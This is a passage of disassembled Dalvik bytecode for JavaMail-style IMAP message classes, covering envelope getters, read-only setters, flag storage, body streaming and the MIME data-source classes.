.method protected getProtocol()IMAPProtocol
          .registers 3
00000000  iget-object             v0, p0, IMAPMessage->folder:Folder
00000004  check-cast              v0, IMAPFolder
00000008  invoke-virtual          IMAPFolder->waitIfIdle()V, v0
0000000E  iget-object             v0, p0, IMAPMessage->folder:Folder
00000012  check-cast              v0, IMAPFolder
00000016  iget-object             v0, v0, IMAPFolder->protocol:IMAPProtocol
0000001A  if-nez                  v0, :2E
:1E
0000001E  new-instance            v0, FolderClosedException
00000022  iget-object             v1, p0, IMAPMessage->folder:Folder
00000026  invoke-direct           FolderClosedException-><init>(Folder)V, v0, v1
0000002C  throw                   v0
:2E
0000002E  return-object           v0
.end method

.method public getReceivedDate()Date
          .registers 4
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->receivedDate:Date
00000010  if-nez                  v0, :18
:14
00000014  const/4                 v0, 0x0
:16
00000016  return-object           v0
:18
00000018  new-instance            v0, Date
0000001C  iget-object             v1, p0, IMAPMessage->receivedDate:Date
00000020  invoke-virtual          Date->getTime()J, v1
00000026  move-result-wide        v1
00000028  invoke-direct           Date-><init>(J)V, v0, v1, v2
0000002E  goto                    :16
.end method

.method public getRecipients(Message$RecipientType)[Address
          .registers 3
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000000C  sget-object             v0, Message$RecipientType->TO:Message$RecipientType
00000010  if-ne                   p1, v0, :26
:14
00000014  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000018  iget-object             v0, v0, ENVELOPE->to:[InternetAddress
0000001C  invoke-direct           IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
00000022  move-result-object      v0
:24
00000024  return-object           v0
:26
00000026  sget-object             v0, Message$RecipientType->CC:Message$RecipientType
0000002A  if-ne                   p1, v0, :40
:2E
0000002E  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000032  iget-object             v0, v0, ENVELOPE->cc:[InternetAddress
00000036  invoke-direct           IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
0000003C  move-result-object      v0
0000003E  goto                    :24
:40
00000040  sget-object             v0, Message$RecipientType->BCC:Message$RecipientType
00000044  if-ne                   p1, v0, :5A
:48
00000048  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
0000004C  iget-object             v0, v0, ENVELOPE->bcc:[InternetAddress
00000050  invoke-direct           IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
00000056  move-result-object      v0
00000058  goto                    :24
:5A
0000005A  invoke-super            MimeMessage->getRecipients(Message$RecipientType)[Address, p0, p1
00000060  move-result-object      v0
00000062  goto                    :24
.end method

.method public getReplyTo()[Address
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000010  iget-object             v0, v0, ENVELOPE->replyTo:[InternetAddress
00000014  invoke-direct           IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
0000001A  move-result-object      v0
0000001C  return-object           v0
.end method

.method public getSender()Address
          .registers 3
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000010  iget-object             v0, v0, ENVELOPE->sender:[InternetAddress
00000014  if-eqz                  v0, :28
:18
00000018  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
0000001C  iget-object             v0, v0, ENVELOPE->sender:[InternetAddress
00000020  const/4                 v1, 0x0
00000022  aget-object             v0, v0, v1
:26
00000026  return-object           v0
:28
00000028  const/4                 v0, 0x0
0000002A  goto                    :26
.end method

.method public getSentDate()Date
          .registers 4
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000010  iget-object             v0, v0, ENVELOPE->date:Date
00000014  if-nez                  v0, :1C
:18
00000018  const/4                 v0, 0x0
:1A
0000001A  return-object           v0
:1C
0000001C  new-instance            v0, Date
00000020  iget-object             v1, p0, IMAPMessage->envelope:ENVELOPE
00000024  iget-object             v1, v1, ENVELOPE->date:Date
00000028  invoke-virtual          Date->getTime()J, v1
0000002E  move-result-wide        v1
00000030  invoke-direct           Date-><init>(J)V, v0, v1, v2
00000036  goto                    :1A
.end method

.method protected getSequenceNumber()I
          .registers 2
00000000  iget                    v0, p0, IMAPMessage->seqnum:I
00000004  return                  v0
.end method

.method public getSize()I
          .registers 3
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  iget                    v0, p0, IMAPMessage->size:I
0000000A  const/4                 v1, 0xFFFFFFFFFFFFFFFF
0000000C  if-ne                   v0, v1, :16
:10
00000010  invoke-direct           IMAPMessage->loadEnvelope()V, p0
:16
00000016  iget                    v0, p0, IMAPMessage->size:I
0000001A  return                  v0
.end method

.method public getSubject()String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  iget-object             v0, p0, IMAPMessage->subject:String
0000000A  if-eqz                  v0, :14
:E
0000000E  iget-object             v0, p0, IMAPMessage->subject:String
:12
00000012  return-object           v0
:14
00000014  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000001A  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
0000001E  iget-object             v0, v0, ENVELOPE->subject:String
00000022  if-nez                  v0, :2A
:26
00000026  const/4                 v0, 0x0
00000028  goto                    :12
:2A
0000002A  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
0000002E  iget-object             v0, v0, ENVELOPE->subject:String
00000032  invoke-static           MimeUtility->decodeText(String)String, v0
00000038  move-result-object      v0
0000003A  iput-object             v0, p0, IMAPMessage->subject:String
:3E
0000003E  iget-object             v0, p0, IMAPMessage->subject:String
00000042  goto                    :12
:44
00000044  move-exception          v0
00000046  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
0000004A  iget-object             v0, v0, ENVELOPE->subject:String
0000004E  iput-object             v0, p0, IMAPMessage->subject:String
00000052  goto                    :3E
          .catch UnsupportedEncodingException {:2A .. :3E} :44
.end method

.method protected getUID()J
          .registers 3
00000000  iget-wide               v0, p0, IMAPMessage->uid:J
00000004  return-wide             v0
.end method

.method public declared-synchronized invalidateHeaders()V
          .registers 2
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  iput-boolean            v0, p0, IMAPMessage->headersLoaded:Z
00000008  const/4                 v0, 0x0
0000000A  iput-object             v0, p0, IMAPMessage->loadedHeaders:Hashtable
0000000E  const/4                 v0, 0x0
00000010  iput-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000014  const/4                 v0, 0x0
00000016  iput-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001A  const/4                 v0, 0x0
0000001C  iput-object             v0, p0, IMAPMessage->receivedDate:Date
00000020  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000022  iput                    v0, p0, IMAPMessage->size:I
00000026  const/4                 v0, 0x0
00000028  iput-object             v0, p0, IMAPMessage->type:String
0000002C  const/4                 v0, 0x0
0000002E  iput-object             v0, p0, IMAPMessage->subject:String
00000032  const/4                 v0, 0x0
00000034  iput-object             v0, p0, IMAPMessage->description:String
:38
00000038  monitor-exit            p0
0000003A  return-void
:3C
0000003C  move-exception          v0
0000003E  monitor-exit            p0
00000040  throw                   v0
          .catchall {:4 .. :38} :3C
.end method

.method protected isREV1()Z
          .registers 3
00000000  iget-object             v0, p0, IMAPMessage->folder:Folder
00000004  check-cast              v0, IMAPFolder
00000008  iget-object             v0, v0, IMAPFolder->protocol:IMAPProtocol
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, FolderClosedException
00000014  iget-object             v1, p0, IMAPMessage->folder:Folder
00000018  invoke-direct           FolderClosedException-><init>(Folder)V, v0, v1
0000001E  throw                   v0
:20
00000020  invoke-virtual          IMAPProtocol->isREV1()Z, v0
00000026  move-result             v0
00000028  return                  v0
.end method

.method public declared-synchronized isSet(Flags$Flag)Z
          .registers 3
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000008  invoke-direct           IMAPMessage->loadFlags()V, p0
0000000E  invoke-super            MimeMessage->isSet(Flags$Flag)Z, p0, p1
:14
00000014  move-result             v0
00000016  monitor-exit            p0
00000018  return                  v0
:1A
0000001A  move-exception          v0
0000001C  monitor-exit            p0
0000001E  throw                   v0
          .catchall {:2 .. :14} :1A
.end method

.method public removeHeader(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setContentID(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setContentLanguage([String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setContentMD5(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setDataHandler(DataHandler)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setDescription(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setDisposition(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method protected setExpunged(Z)V
          .registers 3
00000000  invoke-super            MimeMessage->setExpunged(Z)V, p0, p1
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, IMAPMessage->seqnum:I
0000000C  return-void
.end method

.method public setFileName(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public declared-synchronized setFlags(Flags, Z)V
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
00000008  move-result-object      v1
0000000A  monitor-enter           v1
:C
0000000C  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
00000012  move-result-object      v0
00000014  invoke-virtual          IMAPMessage->checkExpunged()V, p0
0000001A  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
00000020  move-result             v2
00000022  invoke-virtual          IMAPProtocol->storeFlags(I, Flags, Z)V, v0, v2, p1, p2
:28
00000028  monitor-exit            v1
:2A
0000002A  monitor-exit            p0
0000002C  return-void
:2E
0000002E  move-exception          v0
:30
00000030  new-instance            v2, FolderClosedException
00000034  iget-object             v3, p0, IMAPMessage->folder:Folder
00000038  invoke-virtual          ConnectionException->getMessage()String, v0
0000003E  move-result-object      v0
00000040  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, v3, v0
00000046  throw                   v2
:48
00000048  move-exception          v0
0000004A  monitor-exit            v1
:4C
0000004C  throw                   v0
:4E
0000004E  move-exception          v0
00000050  monitor-exit            p0
00000052  throw                   v0
:54
00000054  move-exception          v0
:56
00000056  new-instance            v2, MessagingException
0000005A  invoke-virtual          ProtocolException->getMessage()String, v0
00000060  move-result-object      v3
00000062  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000068  throw                   v2
          .catchall {:2 .. :C} :4E
          .catch ConnectionException {:C .. :28} :2E
          .catch ProtocolException {:C .. :28} :54
          .catchall {:C .. :28} :48
          .catchall {:28 .. :2A} :48
          .catchall {:30 .. :4C} :48
          .catchall {:4C .. :4E} :4E
          .catchall {:56 .. :6A} :48
.end method

.method public setFrom(Address)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setHeader(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method protected setMessageNumber(I)V
          .registers 2
00000000  invoke-super            MimeMessage->setMessageNumber(I)V, p0, p1
00000006  return-void
.end method

.method public declared-synchronized setPeek(Z)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-boolean            p1, p0, IMAPMessage->peek:Z
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public setRecipients(Message$RecipientType, [Address)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setReplyTo([Address)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setSender(Address)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setSentDate(Date)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method protected setSequenceNumber(I)V
          .registers 2
00000000  iput                    p1, p0, IMAPMessage->seqnum:I
00000004  return-void
.end method

.method public setSubject(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method protected setUID(J)V
          .registers 3
00000000  iput-wide               p1, p0, IMAPMessage->uid:J
00000004  return-void
.end method

.method public writeTo(OutputStream)V
          .registers 7
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          IMAPMessage->getPeek()Z, p0
00000008  move-result             v1
0000000A  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
00000010  move-result-object      v2
00000012  monitor-enter           v2
:14
00000014  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
0000001A  move-result-object      v3
0000001C  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000022  invoke-virtual          IMAPProtocol->isREV1()Z, v3
00000028  move-result             v4
0000002A  if-eqz                  v4, :7E
:2E
0000002E  if-eqz                  v1, :68
:32
00000032  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
00000038  move-result             v1
0000003A  iget-object             v4, p0, IMAPMessage->sectionId:String
0000003E  invoke-virtual          IMAPProtocol->peekBody(I, String)BODY, v3, v1, v4
00000044  move-result-object      v1
:46
00000046  if-eqz                  v1, :52
:4A
0000004A  invoke-virtual          BODY->getByteArrayInputStream()ByteArrayInputStream, v1
:50
00000050  move-result-object      v0
:52
00000052  monitor-exit            v2
:54
00000054  if-nez                  v0, :DA
:58
00000058  new-instance            v0, MessagingException
0000005C  const-string            v1, "No content"
00000060  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000066  throw                   v0
:68
00000068  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
0000006E  move-result             v1
00000070  iget-object             v4, p0, IMAPMessage->sectionId:String
00000074  invoke-virtual          IMAPProtocol->fetchBody(I, String)BODY, v3, v1, v4
0000007A  move-result-object      v1
0000007C  goto                    :46
:7E
0000007E  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
00000084  move-result             v1
00000086  const/4                 v4, 0x0
00000088  invoke-virtual          IMAPProtocol->fetchRFC822(I, String)RFC822DATA, v3, v1, v4
0000008E  move-result-object      v1
00000090  if-eqz                  v1, :52
:94
00000094  invoke-virtual          RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v1
:9A
0000009A  move-result-object      v0
0000009C  goto                    :52
:9E
0000009E  move-exception          v0
:A0
000000A0  new-instance            v1, FolderClosedException
000000A4  iget-object             v3, p0, IMAPMessage->folder:Folder
000000A8  invoke-virtual          ConnectionException->getMessage()String, v0
000000AE  move-result-object      v0
000000B0  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v3, v0
000000B6  throw                   v1
:B8
000000B8  move-exception          v0
000000BA  monitor-exit            v2
:BC
000000BC  throw                   v0
:BE
000000BE  move-exception          v0
:C0
000000C0  invoke-virtual          IMAPMessage->forceCheckExpunged()V, p0
000000C6  new-instance            v1, MessagingException
000000CA  invoke-virtual          ProtocolException->getMessage()String, v0
000000D0  move-result-object      v3
000000D2  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v3, v0
000000D8  throw                   v1
:DA
000000DA  const/16                v1, 0x400
000000DE  new-array               v1, v1, [B
:E2
000000E2  invoke-virtual          InputStream->read([B)I, v0, v1
000000E8  move-result             v2
000000EA  const/4                 v3, 0xFFFFFFFFFFFFFFFF
000000EC  if-ne                   v2, v3, :F2
:F0
000000F0  return-void
:F2
000000F2  const/4                 v3, 0x0
000000F4  invoke-virtual          OutputStream->write([B, I, I)V, p1, v1, v3, v2
000000FA  goto                    :E2
          .catch ConnectionException {:14 .. :50} :9E
          .catch ProtocolException {:14 .. :50} :BE
          .catchall {:14 .. :50} :B8
          .catchall {:52 .. :54} :B8
          .catch ConnectionException {:68 .. :9A} :9E
          .catch ProtocolException {:68 .. :9A} :BE
          .catchall {:68 .. :9A} :B8
          .catchall {:A0 .. :BC} :B8
          .catchall {:C0 .. :DA} :B8
.end method

#--------------------------------------------------------------------------------
.class public abstract interface DataSource
.super Object
.source ""

.method public abstract getContentType()String
.end method

.method public abstract getInputStream()InputStream
.end method

.method public abstract getName()String
.end method

.method public abstract getOutputStream()OutputStream
.end method

#--------------------------------------------------------------------------------
.class public abstract interface MessageAware
.super Object
.source ""

.method public abstract getMessageContext()MessageContext
.end method

#--------------------------------------------------------------------------------
.class public MimePartDataSource
.super Object
.source ""

.implements DataSource
.implements MessageAware

.field private static ignoreMultipartEncoding:Z
.field private context:MessageContext
.field protected part:MimePart

.method static constructor <clinit>()V
          .registers 3
00000000  const/4                 v0, 0x1
00000002  sput-boolean            v0, MimePartDataSource->ignoreMultipartEncoding:Z
:6
00000006  const-string            v1, "mail.mime.ignoremultipartencoding"
0000000A  invoke-static           System->getProperty(String)String, v1
00000010  move-result-object      v1
00000012  if-eqz                  v1, :28
:16
00000016  const-string            v2, "false"
0000001A  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
00000020  move-result             v1
00000022  if-eqz                  v1, :28
:26
00000026  const/4                 v0, 0x0
:28
00000028  sput-boolean            v0, MimePartDataSource->ignoreMultipartEncoding:Z
:2C
0000002C  return-void
:2E
0000002E  move-exception          v0
00000030  goto                    :2C
          .catch SecurityException {:6 .. :2C} :2E
.end method

.method public constructor <init>(MimePart)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, MimePartDataSource->part:MimePart
0000000A  return-void
.end method

.method private static restrictEncoding(String, MimePart)String
          .registers 4
00000000  sget-boolean            v0, MimePartDataSource->ignoreMultipartEncoding:Z
00000004  if-eqz                  v0, :C
:8
00000008  if-nez                  p0, :E
:C
0000000C  return-object           p0
:E
0000000E  const-string            v0, "7bit"
00000012  invoke-virtual          String->equalsIgnoreCase(String)Z, p0, v0
00000018  move-result             v0
0000001A  if-nez                  v0, :C
:1E
0000001E  const-string            v0, "8bit"
00000022  invoke-virtual          String->equalsIgnoreCase(String)Z, p0, v0
00000028  move-result             v0
0000002A  if-nez                  v0, :C
:2E
0000002E  const-string            v0, "binary"
00000032  invoke-virtual          String->equalsIgnoreCase(String)Z, p0, v0
00000038  move-result             v0
0000003A  if-nez                  v0, :C
:3E
0000003E  invoke-interface        MimePart->getContentType()String, p1
00000044  move-result-object      v0
00000046  if-eqz                  v0, :C
:4A
0000004A  new-instance            v1, ContentType
0000004E  invoke-direct           ContentType-><init>(String)V, v1, v0
00000054  const-string            v0, "multipart/*"
00000058  invoke-virtual          ContentType->match(String)Z, v1, v0
0000005E  move-result             v0
00000060  if-nez                  v0, :74
:64
00000064  const-string            v0, "message/*"
00000068  invoke-virtual          ContentType->match(String)Z, v1, v0
:6E
0000006E  move-result             v0
00000070  if-eqz                  v0, :C
:74
00000074  const/4                 p0, 0x0
00000076  goto                    :C
:78
00000078  move-exception          v0
0000007A  goto                    :C
          .catch ParseException {:4A .. :6E} :78
.end method

.method public getContentType()String
          .registers 2
00000000  iget-object             v0, p0, MimePartDataSource->part:MimePart
00000004  invoke-interface        MimePart->getContentType()String, v0
:A
0000000A  move-result-object      v0
:C
0000000C  return-object           v0
:E
0000000E  move-exception          v0
00000010  const-string            v0, "application/octet-stream"
00000014  goto                    :C
          .catch MessagingException {:0 .. :A} :E
.end method

.method public getInputStream()InputStream
          .registers 4
00000000  iget-object             v0, p0, MimePartDataSource->part:MimePart
00000004  instance-of             v0, v0, MimeBodyPart
00000008  if-eqz                  v0, :42
:C
0000000C  iget-object             v0, p0, MimePartDataSource->part:MimePart
00000010  check-cast              v0, MimeBodyPart
00000014  invoke-virtual          MimeBodyPart->getContentStream()InputStream, v0
0000001A  move-result-object      v0
:1C
0000001C  iget-object             v1, p0, MimePartDataSource->part:MimePart
00000020  invoke-interface        MimePart->getEncoding()String, v1
00000026  move-result-object      v1
00000028  iget-object             v2, p0, MimePartDataSource->part:MimePart
0000002C  invoke-static           MimePartDataSource->restrictEncoding(String, MimePart)String, v1, v2
00000032  move-result-object      v1
00000034  if-eqz                  v1, :40
:38
00000038  invoke-static           MimeUtility->decode(InputStream, String)InputStream, v0, v1
0000003E  move-result-object      v0
:40
00000040  return-object           v0
:42
00000042  iget-object             v0, p0, MimePartDataSource->part:MimePart
00000046  instance-of             v0, v0, MimeMessage
0000004A  if-eqz                  v0, :60
:4E
0000004E  iget-object             v0, p0, MimePartDataSource->part:MimePart
00000052  check-cast              v0, MimeMessage
00000056  invoke-virtual          MimeMessage->getContentStream()InputStream, v0
0000005C  move-result-object      v0
0000005E  goto                    :1C
:60
00000060  new-instance            v0, MessagingException
00000064  const-string            v1, "Unknown part"
00000068  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000006E  throw                   v0
:70
00000070  move-exception          v0
00000072  new-instance            v1, IOException
00000076  invoke-virtual          MessagingException->getMessage()String, v0
0000007C  move-result-object      v0
0000007E  invoke-direct           IOException-><init>(String)V, v1, v0
00000084  throw                   v1
          .catch MessagingException {:0 .. :70} :70
.end method

.method public declared-synchronized getMessageContext()MessageContext
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, MimePartDataSource->context:MessageContext
00000006  if-nez                  v0, :1C
:A
0000000A  new-instance            v0, MessageContext
0000000E  iget-object             v1, p0, MimePartDataSource->part:MimePart
00000012  invoke-direct           MessageContext-><init>(Part)V, v0, v1
00000018  iput-object             v0, p0, MimePartDataSource->context:MessageContext
:1C
0000001C  iget-object             v0, p0, MimePartDataSource->context:MessageContext
:20
00000020  monitor-exit            p0
00000022  return-object           v0
:24
00000024  move-exception          v0
00000026  monitor-exit            p0
00000028  throw                   v0
          .catchall {:2 .. :20} :24
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, MimePartDataSource->part:MimePart
00000004  instance-of             v0, v0, MimeBodyPart
00000008  if-eqz                  v0, :20
:C
0000000C  iget-object             v0, p0, MimePartDataSource->part:MimePart
00000010  check-cast              v0, MimeBodyPart
00000014  invoke-virtual          MimeBodyPart->getFileName()String, v0
:1A
0000001A  move-result-object      v0
:1C
0000001C  return-object           v0
:1E
0000001E  move-exception          v0
:20
00000020  const-string            v0, ""
00000024  goto                    :1C
          .catch MessagingException {:0 .. :1A} :1E
.end method

.method public getOutputStream()OutputStream
          .registers 2
00000000  new-instance            v0, UnknownServiceException
00000004  invoke-direct           UnknownServiceException-><init>()V, v0
0000000A  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class public abstract interface MultipartDataSource
.super Object
.source ""

.implements DataSource

.method public abstract getBodyPart(I)BodyPart
.end method

.method public abstract getCount()I
.end method

#--------------------------------------------------------------------------------
.class public IMAPMultipartDataSource
.super MimePartDataSource
.source ""

.implements MultipartDataSource

.field private parts:Vector

.method protected constructor <init>(MimePart, [BODYSTRUCTURE, String, IMAPMessage)V
          .registers 11
00000000  invoke-direct           MimePartDataSource-><init>(MimePart)V, p0, p1
00000006  new-instance            v0, Vector
0000000A  array-length            v1, p2
0000000C  invoke-direct           Vector-><init>(I)V, v0, v1
00000012  iput-object             v0, p0, IMAPMultipartDataSource->parts:Vector
00000016  const/4                 v0, 0x0
:18
00000018  array-length            v1, p2
0000001A  if-lt                   v0, v1, :20
:1E
0000001E  return-void
:20
00000020  iget-object             v2, p0, IMAPMultipartDataSource->parts:Vector
00000024  new-instance            v3, IMAPBodyPart
00000028  aget-object             v4, p2, v0
0000002C  if-nez                  p3, :4E
:30
00000030  add-int/lit8            v1, v0, 0x1
00000034  invoke-static           Integer->toString(I)String, v1
0000003A  move-result-object      v1
:3C
0000003C  invoke-direct           IMAPBodyPart-><init>(BODYSTRUCTURE, String, IMAPMessage)V, v3, v4, v1, p4
00000042  invoke-virtual          Vector->addElement(Object)V, v2, v3
00000048  add-int/lit8            v0, v0, 0x1
0000004C  goto                    :18
:4E
0000004E  new-instance            v1, StringBuilder
00000052  invoke-static           String->valueOf(Object)String, p3
00000058  move-result-object      v5
0000005A  invoke-direct           StringBuilder-><init>(String)V, v1, v5
00000060  const-string            v5, "."
00000064  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v5
0000006A  move-result-object      v1
0000006C  add-int/lit8            v5, v0, 0x1
00000070  invoke-static           Integer->toString(I)String, v5
00000076  move-result-object      v5
00000078  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v5
0000007E  move-result-object      v1
00000080  invoke-virtual          StringBuilder->toString()String, v1
00000086  move-result-object      v1
00000088  goto                    :3C
.end method

.method public getBodyPart(I)BodyPart
          .registers 3
00000000  iget-object             v0, p0, IMAPMultipartDataSource->parts:Vector
00000004  invoke-virtual          Vector->elementAt(I)Object, v0, p1
0000000A  move-result-object      v0
0000000C  check-cast              v0, BodyPart
00000010  return-object           v0
.end method

.method public getCount()I
          .registers 2
00000000  iget-object             v0, p0, IMAPMultipartDataSource->parts:Vector
00000004  invoke-virtual          Vector->size()I, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public IMAPNestedMessage
.super IMAPMessage
.source ""

.field private msg:IMAPMessage

.method constructor <init>(IMAPMessage, BODYSTRUCTURE, ENVELOPE, String)V
          .registers 6
00000000  invoke-virtual          IMAPMessage->_getSession()Session, p1
00000006  move-result-object      v0
00000008  invoke-direct           IMAPMessage-><init>(Session)V, p0, v0
0000000E  iput-object             p1, p0, IMAPNestedMessage->msg:IMAPMessage
00000012  iput-object             p2, p0, IMAPNestedMessage->bs:BODYSTRUCTURE
00000016  iput-object             p3, p0, IMAPNestedMessage->envelope:ENVELOPE
0000001A  iput-object             p4, p0, IMAPNestedMessage->sectionId:String
0000001E  return-void
.end method

.method protected checkExpunged()V
          .registers 2
00000000  iget-object             v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004  invoke-virtual          IMAPMessage->checkExpunged()V, v0
0000000A  return-void
.end method

.method protected getFetchBlockSize()I
          .registers 2
00000000  iget-object             v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004  invoke-virtual          IMAPMessage->getFetchBlockSize()I, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method protected getMessageCacheLock()Object
          .registers 2
00000000  iget-object             v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method protected getProtocol()IMAPProtocol
          .registers 2
00000000  iget-object             v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method protected getSequenceNumber()I
          .registers 2
00000000  iget-object             v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004  invoke-virtual          IMAPMessage->getSequenceNumber()I, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public getSize()I
          .registers 2
00000000  iget-object             v0, p0, IMAPNestedMessage->bs:BODYSTRUCTURE
00000004  iget                    v0, v0, BODYSTRUCTURE->size:I
00000008  return                  v0
.end method

.method public isExpunged()Z
          .registers 2
00000000  iget-object             v0, p0, IMAPNestedMessage->msg:IMAPMessage
